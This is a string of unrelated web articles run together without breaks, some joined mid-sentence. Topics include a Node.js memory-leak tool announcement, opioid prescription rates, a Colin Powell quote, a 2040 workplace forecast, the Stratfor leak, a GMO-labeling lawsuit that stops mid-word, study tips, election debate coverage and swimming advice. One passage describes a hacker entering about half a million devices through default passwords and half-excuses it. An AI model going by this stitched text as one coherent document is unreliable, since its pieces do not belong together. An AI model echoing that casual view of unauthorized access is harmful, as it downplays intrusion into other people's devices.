There is already a good and continually growing collection of good tools for finding leaks in Node.js applications. Here are some of them:
Jimb Esser’s node-mtrace, which uses the
GCC mtrace utility to profile heap usage.
GCC utility to profile heap usage. Dave Pacheco’s node-heap-dump takes a snapshot of the V8 heap and serializes the whole thing out in a huge JSON file. It includes tools to traverse and investigate
the resulting snapshot in JavaScript.
the resulting snapshot in JavaScript. Danny Coates’s v8-profiler and node-inspector provide Node bindings for the V8 profiler and a Node debugging interface using the WebKit Web Inspector.
Felix Gnass’s fork of the same that un-disables the retainers graph
Felix Geisendörfer’s Node Memory Leak Tutorial is a short and sweet explanation of how to use the v8-profiler and node-debugger, and is presently the state-of-the-art for most Node.js memory leak debugging.
and, and is presently the state-of-the-art for most Node.js memory leak debugging. Joyent’s SmartOS platform, which furnishes an arsenal of tools at your disposal for debugging Node.js memory leaks
We like all of these tools, but none was a perfect fit for our environment. The Web Inspector approach is fantastic for applications in development, but is difficult to use on a live deployment, especially when multiple servers and subprocess are involved in the mix. As such, it may be difficult to reproduce memory leaks that bite in long-running and heavily-loaded production environments. Tools like dtrace and libumem are truly awe-inspiring, but don’t work on all operating systems.
Enter node-memwatch
We wanted a platform-independent debugging library requiring no instrumentation to tell us when our programs might be leaking memory, and help us find where they are leaking. So we wrote node-memwatch.
It gives you three things:
A 'leak' event emitter memwatch. on ( 'leak', function ( info ) { // look at info to find out about what might be leaking } ) ; memwatch.on('leak', function(info) { // look at info to find out about what might be leaking });
A'stats' event emitter var memwatch = require ('memwatch' ) ; memwatch. on ('stats', function ( stats ) { // do something with post-gc memory usage stats } ) ; var memwatch = require('memwatch'); memwatch.on('stats', function(stats) { // do something with post-gc memory usage stats });
A heap diff class var hd = new memwatch. HeapDiff ( ) ; // your code here... var diff = hd. end ( ) ; var hd = new memwatch.HeapDiff(); // your code here... var diff = hd.end();
And there is also a function to trigger garbage collection which can be
useful in testing. Ok, four things. var stats = memwatch. gc ( ) ; var stats = memwatch.gc();
memwatch.on('stats',...) : Post-GC Heap Statistics
node-memwatch can emit a sample of memory usage directly after a full garbage collection and memory compaction, before any new JS objects have been allocated. (It uses V8’s post-gc hook, V8::AddGCEpilogueCallback, to gather heap usage statistics every time GC occurs.)
The stats data includes:
usage_trend
current_base
estimated_base
num_full_gc
num_inc_gc
heap_compactions
min
max
Here’s an example that shows how this data looks over time with a leaky application. The graph below is tracking memory usage over time. The green crazy line shows what process.memoryUsage() reports, and the red line shows the current_base reported by node_memwatch. The box on the lower-left shows additional statistics.
Note that the number of incremental GCs is very high. This is a warning sign that V8 is working overtime to try to clean up allocations.
memwatch.on('leak',...) : Heap Allocation Trends
We have a simple heuristic to warn you that your app may be leaky. If, over five consecutive GCs, you continue to allocate memory without releasing it, node-memwatch will emit a leak event. The message tells you in nice, human-readable form what’s going on:
{ start : Fri, 29 Jun 2012 14 : 12 : 13 GMT, end : Fri, 29 Jun 2012 14 : 12 : 33 GMT, growth : 67984, reason : 'heap growth over 5 consecutive GCs (20s) - 11.67 mb/hr' } { start: Fri, 29 Jun 2012 14:12:13 GMT, end: Fri, 29 Jun 2012 14:12:33 GMT, growth: 67984, reason: 'heap growth over 5 consecutive GCs (20s) - 11.67 mb/hr' }
memwatch.HeapDiff() : Finding Leaks
Finally, node-memwatch can compare snapshots of object names and allocation counts on the heap. The resulting diff can help isolate offenders.
var hd = new memwatch. HeapDiff ( ) ; // Your code here... var diff = hd. end ( ) ; var hd = new memwatch.HeapDiff(); // Your code here... var diff = hd.end();
The contents of diff will look something like this:
{ "before" : { "nodes" : 11625, "size_bytes" : 1869904, "size" : "1.78 mb" }, "after" : { "nodes" : 21435, "size_bytes" : 2119136, "size" : "2.02 mb" }, "change" : { "size_bytes" : 249232, "size" : "243.39 kb", "freed_nodes" : 197, "allocated_nodes" : 10007, "details" : [ { "what" : "Array", "size_bytes" : 66688, "size" : "65.13 kb", "+" : 4, "-" : 78 }, { "what" : "Code", "size_bytes" : - 55296, "size" : "-54 kb", "+" : 1, "-" : 57 }, { "what" : "LeakingClass", "size_bytes" : 239952, "size" : "234.33 kb", "+" : 9998, "-" : 0 }, { "what" : "String", "size_bytes" : - 2120, "size" : "-2.07 kb", "+" : 3, "-" : 62 } ] } } { "before": { "nodes": 11625, "size_bytes": 1869904, "size": "1.78 mb" }, "after": { "nodes": 21435, "size_bytes": 2119136, "size": "2.02 mb" }, "change": { "size_bytes": 249232, "size": "243.39 kb", "freed_nodes": 197, "allocated_nodes": 10007, "details": [ { "what": "Array", "size_bytes": 66688, "size": "65.13 kb", "+": 4, "-": 78 }, { "what": "Code", "size_bytes": -55296, "size": "-54 kb", "+": 1, "-": 57 }, { "what": "LeakingClass", "size_bytes": 239952, "size": "234.33 kb", "+": 9998, "-": 0 }, { "what": "String", "size_bytes": -2120, "size": "-2.07 kb", "+": 3, "-": 62 } ] } }
HeapDiff triggers a full GC before taking its samples, so the data won’t be full of a lot of junk. memwatch ‘s event emitters will not notify of HeapDiff GC events, so you can safely put HeapDiff calls in your'stats' handler.
In the graph below, we’ve added the objects with the most heap allocations:
Where to Go From Here
node-memwatch provides:
Accurate memory usage tracking
Notifications about probable leaks
A means to produce a heap diff
That is cross-platform
And that does not require any extra instrumentation
We want it to do more. In particular, we want node-memwatch to be able to provide some examples of a leaked object (e.g., names of variables, array indices, or closure code).Doctors in Alabama give out almost three times as many opioid painkiller prescriptions as doctors in Hawaii. Doctors in the Northeast write more prescriptions for high-dose and long-acting opioids than anywhere else in the U.S. These numbers and more come from a survey that scientists from the U.S. Centers for Disease Control and Prevention recently analyzed. The survey couldn't answer why doctors in some states prescribe opioids so much more often than others, but it does show some peculiar regional trends.
Opioid painkillers—a powerful class of medicines that includes oxycodone and fentanyl—can be important treatments for people with chronic pain. At the same time, some statistics indicate prescription opioids are the number-one cause of overdose deaths in the U.S., topping even the numbers of deaths associated with heroin and cocaine. (Although there's certainly controversy about how you can tell whether somebody died of an overdose, or whether she happened to die with drugs in her body.) In any case, many people are worried that opioids are overused in the U.S., including certain doctors' groups and government agencies.
Here's a map showing states' rates of overall opioid painkiller prescriptions. It shows the numbers of opioid prescriptions written in each state, per 100 people, in 2012. Some states have 100 prescriptions or more per 100 people. That's because some people get more than one prescription over the course of a year. Many others may get none.
There are a lot of opioid prescriptions in the South:Posted on October 19, 2008 in Uncategorized
“Is there something wrong with being a Muslim in this country? The answer is no. That’s not America. Is there something wrong with a seven-year-old Muslim-American kid believing he or she could be president? Yet I have heard senior members of my own party drop the suggestion that he is a Muslim and might have an association with terrorists. This is not the way we should be doing it in America.
I feel strongly about this particular point because of a picture I saw in a magazine. It was a photo essay about troops who are serving in Iraq and Afghanistan.
And one picture at the tail end of this photo essay was of a mother in Arlington Cemetery, and she had her head on the headstone of her son’s grave. And as the picture focused in, you could see the writing on the headstone. And it gave his awards — Purple Heart, Bronze Star — showed that he died in Iraq, gave his date of birth, date of death. He was 20 years old.
And then, at the very top of the headstone, it didn’t have a Christian cross; it didn’t have the Star of David; it had crescent and a star of the Islamic faith. And his name was Kareem Rashad Sultan Khan, and he was an American. He was born in New Jersey. He was 14 years old at the time of 9/11, and he waited until he can go serve his country, and he gave his life.” — Colin Powell today during his endorsement of Democratic Senator Barack Obama for President
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See Also: His Country Too, “This is not the way we should be doing it in America”, Kareem Rashad Sultan Khan, Colin Powell: Suggesting That A Muslim Can’t Be President Is Un-American, Muslim American, MEANINGFUL IMAGE OF THE DAY, A Patriotic American, and The good soldier.
[tags]Kareem Rashad Sultan Khan, afghanistan, iraq, war veteran, war hero, dead, grave, Colin Powell, endorsement, Muslim-American, islam, crescent, Islamic faith, American heros, pictures, images, veteran, patriot[/tags]WHAT will the workplace look like in 2040? Imagine remote working via hologram, commuting by jetpack, even controlling your office with your mind.
MYOB has released its ‘Future of Business: Australia 2040’ report, which examines the possible impact of emerging technologies on business and work over the next 25 years.
While all manner of business interactions will continue to be “formalised, automated and digitised”, the biggest effect will be on what we currently call ‘the workplace’, according to MYOB chief technology officer Simon Raik-Allen.
Driven by the rising cost of energy and transport, the focus of 2040 will be the ‘suburban village’. “You will live, work, eat and learn primarily within walking distance of your house,” he writes.
Communities will pool their resources, people will trade with neighbours and list skills on local noticeboards, drones will deliver packages between communities or “even a coffee and a bagel to your current location”.
Forget the traditional office or even the remote workspace — localised centres based around suburbs or communities will emerge as the home of business as a response to the growing expense of traditional inner-city office buildings, Mr Raik-Allen says.
These giant warehouses, used by employees from many different companies spread around the globe, will be home to the technology that makes the interconnected workplace possible.
“Within each will be rooms filled with giant wall-sized screens allowing us to work in a fully virtual, telepresence model. Banks of 3D printers would be continually churning out products ordered by the local community.”
Here’s a little of what could be in store:
JETPACKS
Long a dream of science fiction, personal flight via jetpacks is getting closer to reality than ever. The Martin Aircraft Company in Christchurch has developed a jetpack capable of flying for more than 30 minutes at altitudes of up to 800 feet.
“For fans of science fiction from the ‘60s and ‘70s, a number of flying cars have also been developed recently, though few have reached further than the prototype stage,” he writes.
The Martin Aircraft version is currently designed as a first-responder or unmanned transport vehicle, so those eager to go jetting around the skies like Boba Fett may have to wait a few more years.
HOLOGRAMS
Mr Raik-Allen predicts that holographic projection technology will bring about the biggest change to the workplace since email. The seminars that became webinars in the ‘90s and noughties will soon become ‘holonars’.
“You will sit in virtual auditoriums, next to three-dimensional light-based images of your colleagues from around the globe watching a hologram on the stage of someone giving a talk. And you will do this just as easily as you gather in the office today.”
Launching a new business and hiring 500 people could be done in minutes, he argues. “Your company could be just you and a couple of project managers: the thinkers, controlling every aspect of the company through new digital interfaces.”
NEW MONEY
By 2040, we’ll also start to see the emergence of a broader, stronger set of internet-based currencies like today’s Bitcoin, governed by independent bodies that manage an international network of exchanges, he writes.
They will emerge as a way for businesses to work within their closed networks, with major corporations able to create and manage their own money, make internal payments such as payroll, and even trade with other companies.
“Any business will be able to make its own cryptographic currency — to buy and sell at values regulated by the market and at the perceived value of the company. As this trend develops, exchanges of currencies, much like we have today, will arise entirely independent of national economics.”
MIND CONTROL
Here’s where it gets really crazy. If you thought smartphones and wearables were the height of personal technology, wait until you have chips implanted under your skin and downloadable apps for your brain.
Nanobots will swim through your blood, diagnosing illness and clearing blood clots. Brain augmentations will heighten our senses or allow us to control technology with our minds.
For example, implants in the retina could farm off the raw data to miniature processors implanted in our bodies, analysing the images to identify things that can’t be seen with the naked eye, and then feed that back ‘into the stream’, effectively giving us augmented vision.
“Imagine how that would add to virtual reality,” Mr Raik-Allen says. “100 million nodes [in the retina] is not that many. In 25 years, the processing power of a single phone will probably be condensed to the size of a single red blood cell.”
Already there are examples of rudimentary ‘bio-hacking’, both of the brain and body. One experiment allowed a man to wiggle a rat’s tail with his mind; another demonstrated brain-to-brain communication, allowing two subjects to control each other’s movements.
“These things are already being done invasively, with epilepsy patients for example. We’re just beginning to understand how to process brain information and feed it back in. Eventually you will have an app store for the brain where you can download plugins — maybe to monitor various organs, or sense infra-red.”
What about mind control in the other direction? Will employers be able to bend recalcitrant employees to their will?
“If you want to be sinister about it, that will certainly be possible,” he says.
“We could work out which brain pattern is associated with looking at Facebook, for example, and which is looking at a spreadsheet. The boss could have a dashboard to see who’s working and who’s not.”
frank.chung@news.com.auIt wasn’t malicious. The file itself was the size of a small JPEG. It was given the absolute lowest priority. And it was set to self-destruct if anything went wrong. But this small file allowed one single hacker to measure the Internet activity of nearly half a million connected devices around the world, then share the results with everyone.
I saw the chance to really work on an Internet scale, command hundred thousands of devices with a click of my mouse, portscan and map the whole Internet in a way nobody had done before, basically have fun with computers and the Internet in a way very few people ever will. I decided it would be worth my time.
How was this even possible? The “hacker” barely hacked anything. In reality, they gained access to all these systems because each had the default “root” set as a password. (Note: Always change the password on your router!) With this access in hand, they ran several tests focusing on Internet structure and activity. And what they created from all this data is a spectacular map that captures a day in the life of the Internet (and all of its users).
The red represents peak traffic and the blue represents base traffic. The creator points out that night affects the U.S. and Europe less than other areas, due to the amount of omnipresent Internet connections (mostly routers and set-top boxes). Another interesting anomaly is that Europeans seem to reach peak usage right before the sun goes down, as if they’re cramming in a lot of work (or casual browsing) at the end of the work day.
No doubt, the general ethics of the study will likely turn some of you off. But given that most people who hack computers on this scale are filling it with devastating malware, I think we can let this anonymous data spelunker slide.
See more here. The bolder amongst you may appreciate the zoomable Hilbert browser.
[Hat tip: Gawker]Whistleblower website WikiLeaks has exposed more than 5 million emails apparently obtained by the hacking of Stratfor, the private intelligence company dubbed the “shadow CIA”. The leak may be as high-profile as that of the State Department cables.
The emails, dated between July 2004 and late December 2011, give a glimpse on the inner workings of the company. They show how Stratfor gathers confidential information from paid insiders, including senior state officials, and provides it to large corporations and US governmental agencies.
The private correspondence confirms that Stratfor’s area of interests goes far behind those of a merely civilian firm. In one report, an insider in Russian defense revealed sensitive information on the tactical ballistic missile Iskander, including its development progress and the use during the August 2008 armed conflict with Georgia.
The think-tank is operating as an outsourced spy agency, recruiting sources and pumping them for insider information (and, as skeptics say, disinformation). It lacks capabilities that true special services have, like using spy drones or secretly raiding governmental archives James Bond-style. But otherwise Stratfor operates successfully, turning secrets into cash outside of the usual restrictions and need for accountability that their state counterparts face.
The company’s spy network scoured for info on things ranging from health condition of Venezuela’s President Hugo Chavez to the laundering of drug profits by Mexican cartels, to the loss of faith in the Obama administration by US business elites. WikiLeaks itself was also an important topic of research for Stratfor, with more than 4,000 of the emails mentioning the website or its founder Julian Assange.
It also reveals Stratfor’s close ties with US agencies, from Marines Corps to Department of Homeland Security and what WikiLeaks calls a pro-American neoconservative political bias. “Stratfor claims that it operates 'without ideology, agenda or national bias', yet the emails reveal private intelligence staff who align themselves closely with US government policies and channel tips to Mossad,” the whistleblower website says in a statement.
WikiLeaks shared the material with more than 25 media outlets and activists throughout the world. The partners have been provided with early access to the database for journalistic investigation of the emails.
“Important revelations discovered using this system will appear in the media in the coming weeks, together with the gradual release of the source documents,” WikiLeaks says.
WikiLeaks did not specify how exactly it came into possession of the Stratfor emails. However, the company itself admitted in December that its data servers had been breached by the “hacktivist” group Anonymous. The hackers posted online the names, emails and credit card numbers of thousands of Stratfor subscribers.
Stratfor dismissed the leak, calling it “a deplorable, unfortunate – and illegal – breach of privacy.”
“Some of the emails may be forged or altered to include inaccuracies; some may be authentic. We will not validate either. Nor will we explain the thinking that went into them. Having had our property stolen, we will not be victimized twice by submitting to questioning about them,” the company said in a statement.
It went on to confirm that the WikiLeaks disclosure must come from the Anonymous hack.Two elementary students have received out-of-school suspensions for bringing candy to Reginald Chavez Elementary School.Gabriel Valdez, 10, and Christian Valdez, 9, were suspended two-and-a-half days for bringing rock crystals marketed as “Breaking Bad” candy. The candy is meant to resemble the fictional blue meth on the popular show filmed in Albuquerque.“(This was) blown out of proportion,” said the boys’ mother, Virginia Valdez.Gabriel said that rock candy is his favorite.He said he wanted to share the treats with his friends. He also said he isn’t very familiar with “Breaking Bad.”School officials gave slips to the Valdez family saying the boys brought drugs to school. An Albuquerque Public Schools spokesperson said the suspension was for inappropriate and unacceptable behavior and disruption of the educational process.Interim APS Superintendent Brad Winters could not be reached for comment.“If candy is brought in the classroom, it can be a distraction,” said Virginia Valdez. “But this was actually going on out on the playground.”Their mother thinks a more appropriate response would have been to confiscate the candy and call a meeting. A handful of other students were suspended for eating the candy.The mother said she’s removed her kids from Reginald Chavez.“It’s not really drugs -- it’s candy,” said Virginia Valdez. “It’s unfair.”Mobile users: Tap for video
Two elementary students have received out-of-school suspensions for bringing candy to Reginald Chavez Elementary School.
Gabriel Valdez, 10, and Christian Valdez, 9, were suspended two-and-a-half days for bringing rock crystals marketed as “Breaking Bad” candy. The candy is meant to resemble the fictional blue meth on the popular show filmed in Albuquerque.
Advertisement
“(This was) blown out of proportion,” said the boys’ mother, Virginia Valdez.
Gabriel said that rock candy is his favorite.
He said he wanted to share the treats with his friends. He also said he isn’t very familiar with “Breaking Bad.”
School officials gave slips to the Valdez family saying the boys brought drugs to school. An Albuquerque Public Schools spokesperson said the suspension was for inappropriate and unacceptable behavior and disruption of the educational process.
Interim APS Superintendent Brad Winters could not be reached for comment.
“If candy is brought in the classroom, it can be a distraction,” said Virginia Valdez. “But this was actually going on out on the playground.”
Their mother thinks a more appropriate response would have been to confiscate the candy and call a meeting. A handful of other students were suspended for eating the candy.
The mother said she’s removed her kids from Reginald Chavez.
“It’s not really drugs -- it’s candy,” said Virginia Valdez. “It’s unfair.”
Mobile users: Tap for video
AlertMeRecapping Round 1 of the Vermont GMO-Labeling Lawsuit
Millions across the globe tuned into this weekend's Mayweather-Pacquiao bout, which was billed as “the fight of the century.” However, the pay-per-view event was not the only high stakes fight to report on from last week. Far away from the glitz and glamor of Las Vegas, a federal court in Vermont issued a much-anticipated opinion in what will be one of the true fights of the century for the American food industry – whether state governments can mandate GMO labels.
On April 27, 2015, Chief Judge Christina Reiss of the U.S. District Court for the District of Vermont issued an opinion that mostly favored the State of Vermont and the positions of GMO-labeling advocates. In the case, Grocery Manufacturers Association v. Sorrell (No. 5:14-cv-117), the Grocery Manufacturers Association, Snack Food Association, International Dairy Foods Association, and National Association of Manufacturers (the “Plaintiffs”) are challenging Vermont’s Act 120, which requires that certain foods sold at retail stores in Vermont bear mandatory labeling if they contain genetically-engineered ingredients. Act 120 also prohibits manufacturers from advertising or labeling foods that contain genetically-engineered ingredients as “natural” or “all natural.”
Both supporters and opponents of mandatory GMO-labeling have been keeping a close eye on this lawsuit. This is because Act 120, if it survives litigation, will make Vermont the first state in the country to require that certain foods containing ingredients produced with genetic engineering bear mandatory labels. GMA v. Sorrell is the test case for this issue, which will certainly reach the Second Circuit Court of Appeals and, possibly, the Supreme Court.
The Plaintiffs challenged Act 120 from several angles. First, the Plaintiffs asserted that Act 120’s GMO-labeling mandate was unconstitutional under both the First Amendment and the Constitution’s Commerce Clause. The Plaintiffs also argued that the GMO-labeling mandate was preempted by the Federal Food, Drug, and Cosmetic Act (FFDCA), the Nutritional Labeling and Education Act (NLEA), the Federal Meat Inspection Act (FMIA), and the Poultry Products Inspection Act (PPIA). Furthermore, the Plaintiffs asserted that the ban on “natural” labeling is unconstitutional under the Commerce Clause and the First Amendment.
The State of Vermont filed a motion to dismiss the Plaintiffs’ case on August 8, 2014. Subsequently, the Plaintiffs sought a preliminary injunction that would halt implementation of Act 120 while the Court decides whether to issue a permanent injunction invalidating Act 120. Chief Judge Reiss heard oral arguments on both of these motions on January 7, 2015 and issued an 84-page opinion in the case last Monday.
GMO-Labeling Mandate
The Plaintiffs challenged Act 120’s GMO-labeling mandate under the First Amendment, Commerce Clause, and Supremacy Clause. Here is how the Court addressed these issues:
First Amendment. The Plaintiffs alleged that Act 120’s GMO-labeling mandate violated the First Amendment’s protections against unlawfully-compelled speech. The Court held that “strict scrutiny” was not warranted in this case and dismissed the Plaintiffs’ complaint to the extent that it argued strict scrutiny applied. Instead, the Court held that the proper standard is most likely the “reasonable relationship” test. Under this test, also known as the Zauderer test, the Court held that for the purposes of preliminary injunction, the Plaintiffs were not likely to succeed on their First Amendment complaints. The Court reasoned that unless Vermont’s “legislative findings” prove unfounded at the permanent injunction stage of this litigation, the State has demonstrated a reasonable relationship between the state’s interest and the GMO-labeling mandate.
The Plaintiffs alleged that Act 120’s GMO-labeling mandate violated the First Amendment’s protections against unlawfully-compelled speech. The Court held that “strict scrutiny” was not warranted in this case and dismissed the Plaintiffs’ complaint to the extent that it argued strict scrutiny applied. Instead, the Court held that the proper standard is most likely the “reasonable relationship” test. Under this test, also known as the Zauderer test, the Court held that for the purposes of preliminary injunction, the Plaintiffs were not likely to succeed on their First Amendment complaints. The Court reasoned that unless Vermont’s “legislative findings” prove unfounded at the permanent injunction stage of this litigation, the State has demonstrated a reasonable relationship between the state’s interest and the GMO-labeling mandate. Commerce Clause. The Plaintiffs argued that Vermont’s labeling measure violates the Constitution’s Commerce Clause because the state-based labeling measure would create an undue burden on interstate commerce, ultimately resulting in a 50-state patchwork of labeling laws. The Court was not convinced, noting that there were no other states with conflicting labeling laws. The Court dismissed the Plaintiffs’ complaint to the extent that it alleged the GMO-labeling mandate was unconstitutional under the Commerce Clause.
The Plaintiffs argued that Vermont’s labeling measure violates the Constitution’s Commerce Clause because the state-based labeling measure would create an undue burden on interstate commerce, ultimately resulting in a 50-state patchwork of labeling laws. The Court was not convinced, noting that there were no other states with conflicting labeling laws. The Court dismissed the Plaintiffs’ complaint to the extent that it alleged the GMO-labeling mandate was unconstitutional under the Commerce Clause. Supremacy Clause. The Plaintiffs asserted that the GMO-labeling mandate was preempted by the FFDCA, NLEA, FMIA, and PPIA. The Court was not convinced by the Plaintiffs’ arguments with regards to the FFDCA or the NLEA. However, the Court agreed that the FMIA and PPIA expressly preempted state standards for “[m] |
. Flashcards
Turn those questions and answers into flashcards and have your adolescent quiz herself. The simple act of flipping the cards around and putting them into piles of "mastered" and "needs practice" may be enough to keep an active kid moving. Some kids are motivated by timing themselves. Flip those flashcards around, have her read the answer, and try to reproduce the question for a bigger challenge.
2. Categorizing
Use the flashcards to organize the information by categories, put them in some kind of order, or match them up in pairs. The idea is to organize them differently each time so that your student can make more than one connection in his brain for the information.
3. Word combining
Language lovers won't mind creating sentences with vocabulary. If the test is vocabulary-heavy, start by either writing or speaking the sentences with one word in each and then moving to two words, then three, etc.
4. Song lyrics
Ask a musical or rhythmic adolescent to take the lyrics of her favorite song and rewrite it to include as much of the required information she can. This may take multiple sessions to accomplish, but once it's done, she can sing it over and over again.
5. Picture notes
During the study session, have a more visual adolescent draw pictures of his notes on flashcards, paper, or a whiteboard, and then describe them.
6. Talk-through
Many adolescents are highly social. If yours is, too, have her go through flashcards or a study guide and explain each aspect in as much detail as possible without reading from the printed information.
7. Picture walk
Have him use the visuals provided in the textbook, online text, worksheets, notes, etc. to explain information either out loud or in writing, depending on his preference.
8. Mnemonic devices
Have her rhyme or create sayings to help her remember information. Creating acronyms or sentences with the first letters of words can also be fun for students who like to play with language.
9. Oral visualization
Read a portion of the notes or worksheet and have your student describe what comes to mind visually.
10. Perspective talk
Talk or write about the material, pretending to be somebody or something else.
11. Superhero letter
Have a word-smart adolescent write a letter to a superhero explaining the material and why the information should be important.
Ultimately, studying comes in dozens of forms, and it's important to help your adolescent figure out what's going to work for him or her. Whatever her strengths, whatever his level of comfort, start there. Keep it short. Keep it simple. Keep it painless. And watch what happens when studying becomes a familiar routine -- and when students see the fruits of their efforts.Republican presidential frontrunner Donald Trump pledged to deal with Vladimir Putin with respect and to deal with Moscow in a mutually beneficial manner at the second Grand Old Party (GOP) debate.
WASHINGTON (Sputnik) – Trump claimed he would get along with Russian leader, adding that the US wouldn’t have the problems that it has now with Russia, while declaring a speech at the Ronald Reagan Presidential Library in California on Wednesday night as broadcast on CNN.
Trump was asked how he would respond to Putin’s military support for Syria.
"I would talk to him, I would get along with him. I believe, and I may be wrong, in which case I'd probably have to take a different path, but I would get along with a lot of the world leaders that this country is not getting along with," he continued.
Trump said the Russian leader did not respect US President Barack Obama.
"He [Putin] has absolutely no respect for President Obama," he said. "I would get along with world leaders."
Trump also clearly indicated that he would pull US forces out of their current air strikes and cease supporting the opposition Syria.
"We are fighting the Islamic State in Syria. Why are we fighting the Islamic State in Syria?" he asked. "Let them [IS and the Syrian government] fight each other," he said.
Syria has been mired in a civil war since 2011. Government forces loyal to Syrian President Bashar Assad are fighting against several opposition and radical Islamist militant groups, including the al-Nusra Front (Jabhat al-Nusra) and IS radicals.
Russia has been engaged in international efforts to find a political solution to the ongoing conflict in Syria and has been providing humanitarian aid to the conflict-torn country.
The United States is leading an international coalition that has been conducting airstrikes against IS positions in Iraq and Syria since 2014.
Russia has repeatedly criticized the US-led coalition for not seeking approval from the UN Security Council and the Syrian government before launching the airstrikes.
The United States has also been supporting the so-called moderate Syrian opposition by providing it with training and equipment.14 years of swimming has taught me more than I ever thought I could know about the sport of swimming. I definitely do not have it all figured out but I have learned a lot of valuable knowledge throughout my career. The athletic department at my university often sets up motivational speakers to come in and talk to the athletes. A speaker talked to us earlier this semester about our expertise in our sports. He told us studies have shown that to be considered a true expert on anything, you have to experience it for 10,000 hours. As most of the swimmers on my team have been swimming for at least ten years, he told us we could comfortably call ourselves experts on the sport. Thinking on this for awhile, trying to comprehend that I have spent over 10,000 hours in a pool staring at a black line, I realized that I really do know a lot about this particular subject. Swimming is unlike any sport. If you are not a part of the swimming world, it is most often nearly impossible to comprehend what is happening at a swim meet. So for those of you who know the lingo, I will divulge some of the secret knowledge of my experience in the swimming world.
1. Do chaos drills.
This is one of the best drills my college coach ever had us do. It’s purpose is to prepare you for unexpected and catastrophic events that may happen during an event so you know what do and how to keep calm. We practice diving off the blocks with our goggles around our necks, swimming with water in our goggles, swimming without caps and flipping our goggles back up to our eyes during an open turn if they happen to fall down. This drill has been very helpful and is a great suggestion for coaches or if you are practicing on your own.
2. Dry-land exercise is so much more important than you think it is.
When I swam for my club team in high school we never did any dry-land exercise as a team so I never knew how much it could help. However, when I got to college, I began lifting, doing circuit workouts and running. I dropped so much time! It was incredible how much stronger and powerful I felt in the water just by doing dry-land four times a week. If your club team does do dry-land, take it seriously. If your club team does not, try doing some simple exercises at home and begin running (it is great cross-training for swimming).
3. Set individual goals at the beginning of every season.
My college coach has individual goal meetings with every swimmer at the beginning of our season. We talked about our strengths and weaknesses both in and out of the water and then discussed goal times for the season. We also discuss goals for school, dry-land workouts, and social goals as well. By doing this, both coach and myself know what is expected and know how to train to achieve all of my individual goals.
4. Over-pack for swim meets.
I always over-pack for overnight swim meets. Bring an extra suit, cap and goggles because it will save your life at least four times throughout your career. Pack extra clothes because, being a swimmer, you know everything in your bag will inevitably end up soaking wet.
5. Make friends outside of the swim team.
I cannot stress how important this is. Being a member of a swim team is like being part of a wonderful big family. Just as with all families, there are ups and downs. When you are around a certain group of people for so many hours everyday, sometimes you just really need a rest. Many times swim teams tend to be a clique. Breaking away and having friends outside of the swim team really helps on days when you just need to talk about something other than how awful practice was.
These tips have helped me so much to succeed in my swimming career. I have learned a lot and I still have a lot to learn. Just like with everything else, it’s a process; learning from yourself and others and often times, making it up as you go.by
During the fourth Democratic Party debate Bernie Sanders was the most searched candidate according to Google Trends. This is good for his campaign, it shows the debate gave him public exposure. The debate was sponsored by the Congressional Black Caucus and it aired on NBC News and YouTube. It also attracted more younger viewers than the last two Democratic debates with 31% (3.17 million) being between 25 and 54 years old. NBC said that in addition to its TV audience, another 1.3 million streamed it online, and more than 500,000 saw a rerun of the debate on MSNBC.
The fact that people all across the United States were Googling Sanders is important because the points he was making resonated with the audience. Clinton began by attacking him on his gun record, but he stood up to her attacks saying she was “disingenuous.”
Like in previous debates, Sanders stuck to his progressive policies, the issues facing this country, the grassroots movement behind him, the small donors who support his campaign, but not Wall Street like Clinton did. Now it is clear that between the two it’s a choice between radical change or continuity. She represents the corporate democratic establishment and the perpetuation of the Obama regime. She named Obama time and time again linking herself to all his accomplishments. Chuck Todd from NBC said she was “wrapping herself in Obama.”
At one point Clinton brought up the issue of police killing Black people, specifically mentioning Walter Scott and said he was “killed by systemic racism” and that “1 out of 3 African Americans may end up going to prison.” What Clinton conveniently forgot to mention is (and what the host of the debate did not ask her) her cozy relationship with the corporations that run our prison system: Corrections Corporation of America (CCA) and the Geo Group (GEO). Lobbyists for these companies are serving as top fundraisers for Hillary Clinton. She was a staunch supporter of her husband´s ‘tough on crime’ and ‘three strikes and you’re out’ laws. The consequence of these ‘laws’ was to increase the number of predominantly Black prisoners in jail, which explain why 1 out of 3 African Americans are in jail. Like with her donors in Wall Street, there is a conflict of interest in what she says and what she has and will do.
The Geo Group, in a disclosure statement for its investors, noted that its business could be “adversely affected by changes in existing criminal or immigration laws, crime rates in jurisdictions in which we operate, the relaxation of criminal or immigration enforcement efforts, leniency in conviction, sentencing or deportation practices, and the decriminalization of certain activities that are currently proscribed by criminal laws or the loosening of immigration laws.”
After all, these prison entities need prison labor to make a profit. And they are relying on Clinton to keep the production going.
In sharp contrast to her, in September of 2015 Sen. Bernie Sanders introduced a bill to ban the federal government from awarding contracts to private prisons, saying, “Private prisons are not cheaper, they are not safer, and they do not provide better outcomes for either the prisoners or the state.” Sanders cited studies showing that private prisons, because of their profit motive, have an incentive to spend as little as possible on inmate care and rehabilitation. These companies also routinely pressure lawmakers to pass bills that will guarantee them more inmates by criminalizing low-level offenders.
During the debate he said that, “We have a criminal justice system which is broken. Who in America is satisfied that we have more people in jail than any other country on Earth, including China? Disproportionately African-American and Latin@. Who is satisfied that millions of people have police records for possessing marijuana when the CEOs of Wall Street companies, who destroyed our economy, have no police record?” And indeed not many of us do, except the CEOs and the politicians who work for them.
The other issue is Wall Street and big banks. One of the things widely discussed during the debate was Goldman Sachs. And this is important in reference to Clinton’s intimate relation with Wall Street. Sanders brought it up in relation to the “outrageous” settlement of Goldman Sachs this week.
Clinton replied, “So I’m going to defend Dodd Frank, and I’m going to defend President Obama for taking on Wall Street, taking on the financial industry and getting results.”
Sanders retorted, “I have doubts when people receive huge amounts of money from Wall Street. I am very proud, I do not have a super PAC. I do not want Wall Street’s money. I’ll rely on the middle class and working families.” Sanders also said that his plan to break up big banks would differ from his Democratic rival and would not take money from big banks. Adding that, “I dont get personal speaking fees from Goldman Sachs.”
The differences are starkly clear, one is embedded in the corporate model and prison systems while the other is trying to fight them. Sanders answer is to get the money out of politics, to overturn Citizens United and to create a political revolution that will bring millions of young people into the political process. Show them that it belongs to all of us, not just a “handful of wealthy contributors.”Clint Eastwood will be the "creative chairman" of a new TV golf channel with shows like Hole Lotta Love and Beer Cart Girl.
